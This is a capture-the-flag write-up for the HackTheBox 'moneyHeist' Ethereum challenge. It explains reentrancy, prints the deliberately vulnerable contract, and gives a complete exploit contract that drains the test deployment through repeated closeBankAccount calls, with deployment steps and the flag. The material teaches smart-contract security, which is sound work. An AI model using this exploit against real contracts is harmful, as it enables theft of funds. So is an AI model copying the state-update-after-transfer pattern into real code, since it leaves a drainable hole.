moneyHeist
❗️Challenge
The Royal Mint of Spain has just called, all their money's gone.
It seems to be coming from their new credit card system linked to
the blockchain. Can you investigate and replicate the exploit?
They just deployed a test contract for you, steal the ether they
stored on it!
We are given the source code for a smart contract on the Ethereum blockchain, and the address where it has been deployed. The goal is to empty the balance and then request the flag from the challenge site using the Check Flag
button.
Challenge page | |
---|---|
The contract address: 0x396D73A08F112e67dd89245707BbDc00dCFA24F7
and the full code snippet is below:
pragma solidity ^0.6.0;
import "./SafeMath.sol";
contract moneyHeist {
using SafeMath for uint256;
mapping(address => uint256) private bankRobberAccount;
mapping(address => bool) private accountAlreadyExists;
mapping(address => bool) private hasAlreadyWithdrawn;
mapping(address => bool) private isAccountActive;
mapping(address => bool) private inWithdrawalProcess;
uint256 public possibleWithdrawalPerDay;
constructor() public payable {
possibleWithdrawalPerDay = 0.001 ether;
bankRobberAccount[address(this)] = msg.value;
}
function createNewAccount() public payable {
require(accountAlreadyExists[msg.sender] == false);
bankRobberAccount[msg.sender] = msg.value;
hasAlreadyWithdrawn[msg.sender] = false;
isAccountActive[msg.sender] = true;
accountAlreadyExists[msg.sender] = true;
}
function checkAccountBalance(address accountAddress)
public
view
returns (uint256)
{
return bankRobberAccount[accountAddress];
}
function fundsMovementProcess(
address sourceAddress,
address destinationAddress,
uint256 transferAmount,
uint8 transferType
) public {
require(inWithdrawalProcess[msg.sender] == true);
if (transferType == 1) {
bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
.sub(transferAmount);
} else if (transferType == 2) {
bankRobberAccount[destinationAddress] = bankRobberAccount[destinationAddress]
.add(transferAmount);
bankRobberAccount[sourceAddress] = bankRobberAccount[sourceAddress]
.sub(transferAmount);
} else {
revert();
}
}
function transferBetweenAccounts(
address destinationAddress,
uint256 transferAmount
) public {
require(
isAccountActive[msg.sender] == true &&
isAccountActive[destinationAddress] == true
);
require(bankRobberAccount[msg.sender] >= transferAmount);
inWithdrawalProcess[msg.sender] = true;
fundsMovementProcess(msg.sender, destinationAddress, transferAmount, 2);
inWithdrawalProcess[msg.sender] = false;
}
function dailyWithdrawalRequest(uint256 transferAmount) public {
require(transferAmount <= possibleWithdrawalPerDay);
require(bankRobberAccount[msg.sender] >= transferAmount);
require(isAccountActive[msg.sender] == true);
require(hasAlreadyWithdrawn[msg.sender] == false);
inWithdrawalProcess[msg.sender] = true;
(bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
""
);
require(isSuccessfulTransfer);
fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
hasAlreadyWithdrawn[msg.sender] = true;
inWithdrawalProcess[msg.sender] = false;
}
function closeBankAccount() public {
require(isAccountActive[msg.sender] == true);
(bool isSuccessfulTransfer, ) = msg.sender.call.value(
bankRobberAccount[msg.sender]
)("");
require(isSuccessfulTransfer);
bankRobberAccount[msg.sender] = 0;
isAccountActive[msg.sender] = false;
}
}
We can find the contract deployed on the Ropsten testnet at the address provided using Etherscan.io. We see that the contract has a balance of 0.01 Ether
.
🕵️ Research
As this was the first blockchain challenge I had attempted, I did some research to try to find some common vulnerabilities in smart contracts. The first Google search result was really helpful documentation for developers on “best practices”.
Here I read about the “reentrancy” attack type, where an attacker can take over the control flow and put the contract in a state the developer never intended. The most simple form of this is “reentrancy on a single function”, where the attacker exploits the contract by recursively calling a function.
On June 17th 2016, the DAO was hacked and 3.6 million Ether ($50 Million) were stolen using in first reentrancy attack. Both of the major bugs which led to the DAO's collapse were bugs of this type.
🔁 Reentrancy attacks
When currency is sent to a contract code can be executed, by design. This means that when a smart contract sends currency to another contract, it is calling an external contract. The external contract now has an opportunity to execute its own code before returning control flow back to the original contract.
Below is an example, taken from ConsenSys, of some vulnerable withdrawal code.
// Example smart contract
mapping (address => uint) private userBalances;
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
(bool success, ) = msg.sender.call.value(amountToWithdraw)("");
require(success);
userBalances[msg.sender] = 0;
}
The withdrawBalance
function transfers amountToWithdraw
of currency to the user by executing msg.sender.call.value
with the amount. Here, control flow is handed over to the user as we can execute whatever code we like when we receive currency. This is by design - contracts can execute their own code when they receive currency by specifying a fallback
method.
// Contract fallback function
fallback () external payable {
// code here is executed
}
The fallback
function in a contract is executed when currency is received. We can use this to our advantage to execute withdrawBalance
again from within our fallback
function, before the userBalances
map in the bank contract has been updated to set our balance to zero.
// Exploit snippet
fallback () external payable {
// if the other contract has any money more to send us...
if (msg.sender.balance >= msg.value) {
// call withdraw again!
Bank(msg.sender).withdrawBalance();
}
}
🤔 Back to the challenge
Looking back to the moneyHeist
code we have been given in the challenge, we can start to look for where the reentrancy attack might be possible. We should look for places where msg.sender.call.value
is called as this is where we can execute our own code.
function dailyWithdrawalRequest(uint256 transferAmount) public {
require(transferAmount <= possibleWithdrawalPerDay);
require(bankRobberAccount[msg.sender] >= transferAmount);
require(isAccountActive[msg.sender] == true);
require(hasAlreadyWithdrawn[msg.sender] == false);
inWithdrawalProcess[msg.sender] = true;
(bool isSuccessfulTransfer, ) = msg.sender.call.value(transferAmount)(
""
);
require(isSuccessfulTransfer);
fundsMovementProcess(address(this), msg.sender, transferAmount, 1);
hasAlreadyWithdrawn[msg.sender] = true;
inWithdrawalProcess[msg.sender] = false;
}
The first call we see is in the dailyWithdrawalRequest
method. However, we soon notice that this function can't be exploited with re-entrancy because of the later call to fundsMovementProcess
.
function fundsMovementProcess(
address sourceAddress,
address destinationAddress,
uint256 transferAmount,
uint8 transferType
) public {
require(inWithdrawalProcess[msg.sender] == true); // <-- this prevents our attack!
...
}
We could call dailyWithdrawalRequest
multiple times, but after the program exits dailyWithdrawalRequest
for the first time inWithdrawalProcess
would be set to false
, dailyWithdrawalRequest
would return and the next require
check would fail, reverting our transaction.
However, there is one other place in the contract where currency is transferred.
function closeBankAccount() public {
require(isAccountActive[msg.sender] == true);
(bool isSuccessfulTransfer, ) = msg.sender.call.value(
bankRobberAccount[msg.sender]
)("");
require(isSuccessfulTransfer);
bankRobberAccount[msg.sender] = 0;
isAccountActive[msg.sender] = false;
}
The closeBankAccount
function does not perform any checks after calling our external code and it only updates the state afterwards! This is perfect for our attack.
🛠 Setting up our dev environment
If you haven't worked with challenges on the blockchain before, there is a little bit of setup you'll need to do first.
🦊 MetaMask
Since this challenge takes place on the blockchain, you will need to be able to deploy your own contracts and create transactions. You can do this using the MetaMask browser extension! Create a new account in MetaMask and switch to the Ropsten network (this is very important). You can use the MetaMask faucet to get some Ether for testing and deploying contracts.
Faucet | Balance |
---|---|
Remix IDE
Next we can open the Remix Ethereum IDE to start writing and deploying contracts. In Remix make sure to switch the environment to Injected Web3
to use your MetaMask client for making transactions on the network. Create files for moneyHeist.sol
, SafeMath.sol
(a maths library used by lots of smart contracts which handles overflows) and our exploit moneyExploit.sol
. You can get the source code for SafeMath here.
🧑💻 Developing our exploit
Our exploit is pretty simple now that we have an understanding of how reentrancy attacks work. First we need to create an account in the moneyHeist
contract and add some funds. Then we can call closeBankAccount
multiple times until we have drained the bank of all of its Ether.
pragma solidity ^0.6.0;
import "./moneyHeist.sol";
contract moneyExploit {
address private _owner;
constructor () public {
// store the address of the creator of the contract, the "owner"
_owner = msg.sender;
}
function execute(address heistAddress) public payable {
require(msg.sender == _owner);
moneyHeist heist = moneyHeist(heistAddress);
// create a new account using the currency in this function call
heist.createNewAccount.value(msg.value)();
// start the attack by closing the account
heist.closeBankAccount();
}
fallback () external payable {
// if the bank has any more money, close the account again
if (msg.sender.balance >= msg.value) {
moneyHeist(msg.sender).closeBankAccount();
}
}
function drain() public {
// check that the caller is the owner
require(msg.sender == _owner);
// self destruct, sending all of our earnings to the owner
selfdestruct(msg.sender);
}
}
In the moneyExploit
code above, calling execute
with the address of the moneyHeist
contract will start our attack. The withdrawal begins and each time the bank sends currency to us, the fallback
method is executed. We have to check that the moneyHeist
contract has funds to send us, otherwise requesting to close the bank account again would cause our attack to fail. If its balance is higher than the amount we have in our account, we call closeBankAccount
again. This repeats until we have collected all of the funds from the bank. 🤯
After this is all complete, we can use the drain
method if we'd like to transfer the money to our own wallet. 🤑
💥 Using the exploit
First deploy the exploit contract on the Ropsten test network.
Remix IDE | MetaMask transaction |
---|---|
Next we start our attack by sending some currency to the execute
function!
Make sure to send exactly the right amount to cleanly empty the contract's balance or you might have issues. Since the contract contains 0.01 Ether
, you should send 0.01
, 0.005
or 0.001
as these divide 0.01
to a whole number (each iteration of closeBankAccount
withdraws this much from the contract).
Transaction value | Address parameter |
---|---|
Set the transaction value, copy the moneyHeist
contract address into the field, and then press execute
. After confirming the transaction in MetaMask, a few moments later the transaction will be processed and our contract will be executed.
Etherscan | MetaMask transaction |
---|---|
As you can see here, three transfers took place. The first was our contract sending 0.01 Ether
to moneyHeist
, but the following two were withdrawals from the contract. Our exploit worked!
As you can see on Etherscan the contract now contains no Ether. Our contract on the other hand contains 0.02 Ether
. 😎
🚩 Claiming the flag
To complete the challenge, we head back to the web page and click the Check Flag
button. It gives us the flag: HTB{Th3_D4ng3R_0f_Re3nTr4ncY}
.